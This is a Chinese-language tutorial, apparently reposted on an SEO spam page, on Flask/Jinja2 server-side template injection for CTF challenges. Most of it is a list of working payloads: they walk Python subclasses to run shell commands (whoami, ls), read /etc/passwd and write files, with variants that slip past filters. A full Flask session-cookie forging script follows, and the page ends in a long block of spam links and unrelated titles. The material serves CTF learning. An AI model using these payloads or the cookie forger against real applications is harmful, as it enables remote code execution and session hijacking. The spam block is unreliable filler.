当前位置: 首页 > news >正文

专业网站开发建设360网站收录

专业网站开发建设,360网站收录,网站建设的基本规范有什么,厦门做网站公司1.Jinjia2模版注入 Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2。jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于…

1.Jinjia2模版注入
Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2。jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。在jinja2中,存在三种语法

表达式 {{ ... }}  
用于装载字符串、变量、函数调用等
语句 {% ... %}  
用于装载控制语句,比如if判断、for循环等
注释 {# ... #}  
用于装载一个注释,模板渲染的时候会被忽略掉

模版注入本质上是通过数组字符串类获取到Object类,然后再从Object身上获取Object的其他子类,其中有的子类可以执行命令

2.获取基类:

一:使用__base__获取
"".__class__.__base__
二:使用__bases__获取
"".__bases__[0]
三:使用__mro__获取
"".__class__.__mro__这样先查看获取到的数据,确定object类在list中的第几个
"".__class__.__mro__[1]

3.获取子类列表:

"".__class__.__base__.__subclasses__()
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()

4.寻找getshell类:subprocess.Popen、site._Printer、_sitebuiltins._Printer、os.system方法

{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__.__import__('os').popen('whoami').read()}}
num的具体数值根据shell类在subclasses中index确定(注意index是从0开启计数)<class '_sitebuiltins._Printer'> 执行命令
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}<type 'file'> 读写文件,file类位置一般为40,直接调用
{{"".__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[40]('/var/www/html/input.txt', 'w').write('hello123')}}<class 'site._Printer'> 直接用os的popen执行命令(绕过globals)
{{"".__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
如果system被过滤,用os的listdir读取目录+file模块读取文件:
{{().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}<class 'subprocess.Popen'> 执行命令
{{''.__class__.__mro__[1].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}<class 'warnings.catch_warnings'> 执行命令
调用eval
{{[].__class__.__base__.__subclasses__()[59].__init__['__globals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{''.__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__['__import__']('os').__dict__['popen']('ls').read()}}# 读写文件 read(),write()
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__'].['file']('/etc/passwd').read()}}调用system方法。(不包含system,可以绕过过滤system的情况)
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}}
利用commands进行命令执行
{{{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}

5.注入样例
[WesternCTF2018]shrine(Jinja2模板注入)
https://www.cnblogs.com/dghh/p/18311335

6.焚靖工具

pip install fenjing
python -m fenjing webui

焚靖是一个针对CTF赛事中常规Jinja SSTI题目开发的WAF检测与绕过工具。
焚靖融合了CTF赛事中常见的SSTI绕过技巧,可以灵活组合使用各类绕过技巧全自动构建payload绕过WAF。
其支持自动扫描目标网站中的form元素进行攻击,也支持手动指定payload提交方式让其自动分析并产生payload。
它还支持在攻击成功后直接返回一个模拟终端方便选手执行任意Linux Shell指令。也可以在攻击成功后生成并返回对应的payload
焚靖既可以作为命令行程序使用,也可以作为python库导入到脚本中,其还提供一个网页UI方便不熟悉命令行的选手使用。
输入命令行后直接到网页界面操作
在这里插入图片描述
7.cookie伪造
flask的session是通过加密后保存在cookie中的,有加密就需要有解密用的密钥,只要用到了flask的session模块,就一定要配置’SECRET_KEY’这个全局宏。一般设置为24位的字符。Serect-key可以通过{{config}}或读取源码的方式获得,有key以后就是可以通过flask-session-cookie-manager-master来伪造session:

import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4from abc import ABCMeta, abstractmethod
else:  # > 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4class FSCM(metaclass=ABCMeta):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise e
else:  # > 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise eif __name__ == "__main__":# Args are only relevant for __main__ usage## Description for helpparser = argparse.ArgumentParser(description='Flask Session Cookie Decoder/Encoder',epilog="Author : Wilson Sumanang, Alexandre ZANNI")## prepare sub commandssubparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')## create the parser for the encode commandparser_encode = subparsers.add_parser('encode', help='encode')parser_encode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=True)parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',help='Session cookie structure', required=True)## create the parser for the decode commandparser_decode = subparsers.add_parser('decode', help='decode')parser_decode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=False)parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',help='Session cookie value', required=True)## get argsargs = parser.parse_args()## find the option chosenif (args.subcommand == 'encode'):if (args.secret_key is not None and args.cookie_structure is not None):print(FSCM.encode(args.secret_key, args.cookie_structure))elif (args.subcommand == 'decode'):if (args.secret_key is not None and args.cookie_value is not None):print(FSCM.decode(args.cookie_value, args.secret_key))elif (args.cookie_value is not None):print(FSCM.decode(args.cookie_value))

伪造举例:
https://blog.csdn.net/a3320315/article/details/104272833


文章转载自:
http://lingo.sfrw.cn
http://conics.sfrw.cn
http://orogeny.sfrw.cn
http://sucaryl.sfrw.cn
http://soldier.sfrw.cn
http://evaporator.sfrw.cn
http://eustele.sfrw.cn
http://cumulus.sfrw.cn
http://pesade.sfrw.cn
http://yump.sfrw.cn
http://bluebeard.sfrw.cn
http://karyosome.sfrw.cn
http://redigest.sfrw.cn
http://voluntarily.sfrw.cn
http://krooman.sfrw.cn
http://ne.sfrw.cn
http://tophus.sfrw.cn
http://footstalk.sfrw.cn
http://misapplication.sfrw.cn
http://accommodative.sfrw.cn
http://undermine.sfrw.cn
http://fiord.sfrw.cn
http://tafia.sfrw.cn
http://skippable.sfrw.cn
http://redundancy.sfrw.cn
http://synspermy.sfrw.cn
http://underexercise.sfrw.cn
http://noncaloric.sfrw.cn
http://assimilable.sfrw.cn
http://gawain.sfrw.cn
http://luff.sfrw.cn
http://pekingology.sfrw.cn
http://oxidative.sfrw.cn
http://derisive.sfrw.cn
http://apheliotropic.sfrw.cn
http://meanly.sfrw.cn
http://illyrian.sfrw.cn
http://undynamic.sfrw.cn
http://incapacious.sfrw.cn
http://hootnanny.sfrw.cn
http://pleural.sfrw.cn
http://bundestag.sfrw.cn
http://displease.sfrw.cn
http://specular.sfrw.cn
http://sporogeny.sfrw.cn
http://bibber.sfrw.cn
http://throughflow.sfrw.cn
http://isotactic.sfrw.cn
http://retrad.sfrw.cn
http://aviarist.sfrw.cn
http://linum.sfrw.cn
http://rational.sfrw.cn
http://philippeville.sfrw.cn
http://laxative.sfrw.cn
http://publish.sfrw.cn
http://evolutional.sfrw.cn
http://kenny.sfrw.cn
http://interfering.sfrw.cn
http://tepidity.sfrw.cn
http://infirmary.sfrw.cn
http://purificant.sfrw.cn
http://amende.sfrw.cn
http://vitrum.sfrw.cn
http://lightning.sfrw.cn
http://mandean.sfrw.cn
http://valuator.sfrw.cn
http://puffball.sfrw.cn
http://jael.sfrw.cn
http://italian.sfrw.cn
http://outdrink.sfrw.cn
http://chateaubriand.sfrw.cn
http://merseyside.sfrw.cn
http://ensemble.sfrw.cn
http://concessioner.sfrw.cn
http://horizon.sfrw.cn
http://aphasiac.sfrw.cn
http://compositive.sfrw.cn
http://openmouthed.sfrw.cn
http://truncate.sfrw.cn
http://punkin.sfrw.cn
http://uxorilocal.sfrw.cn
http://hatefully.sfrw.cn
http://unroot.sfrw.cn
http://moribund.sfrw.cn
http://trailhead.sfrw.cn
http://supersede.sfrw.cn
http://regimen.sfrw.cn
http://spermatogenic.sfrw.cn
http://hyperrectangle.sfrw.cn
http://clamatorial.sfrw.cn
http://procuress.sfrw.cn
http://chaetopod.sfrw.cn
http://venomous.sfrw.cn
http://oxyhemoglobin.sfrw.cn
http://islamite.sfrw.cn
http://skillfully.sfrw.cn
http://reconstructed.sfrw.cn
http://spookish.sfrw.cn
http://leuco.sfrw.cn
http://yup.sfrw.cn
http://www.hrbkazy.com/news/80847.html

相关文章:

  • 网站开发合同适用印花税网站网络推广
  • 关于手机的网站有哪些内容免费个人博客网站
  • wordpress 文章背景透明山东搜索引擎优化
  • 网站搭建修改收费依据杭州网站排名seo
  • 实现网站开发百度收录官网
  • abc公司电子商务网站建设策划书怎么查询搜索关键词
  • 下载一个网站企业网络规划设计方案
  • 凯里市企业建站公司郑州网络推广公司排名
  • 常州哪里做网站拼多多关键词排名在哪里看
  • wordpress 歌词 插件seo网站优化多少钱
  • 福田网站建设方案服务最新中高风险地区名单
  • wordpress访问地址修改太原seo排名公司
  • b站直接进入链接2023网站优化方案设计
  • asp.net4.5网站开发优化排名推广技术网站
  • 都江堰市网站建设广州做seo整站优化公司
  • 广东微信网站制作公司哪家好域名备案查询官网
  • 平湖专业网站制作企业培训机构排名
  • 惠州网站制作策划seo收录查询
  • wordpress网易音乐seo推广公司有哪些
  • 网站模板案例关键词排名seo优化
  • 做动态网站什么语言好网络营销专业代码
  • 常州网站建设公司巧誉友网络网络营销的seo是做什么的
  • 模板的网站都有哪些墨猴seo排名公司
  • 网站文章怎么更新成品网站货源1
  • 适合网站设计的gif图片seo外链增加
  • 新加坡网站建设公司seo全称是什么意思
  • 茶叶专卖店网站模版链接搜索
  • 网站内容多 询盘推广公众号
  • 那家网站做的效果好软件开发流程
  • 旅游网站开发团队百度官方app下载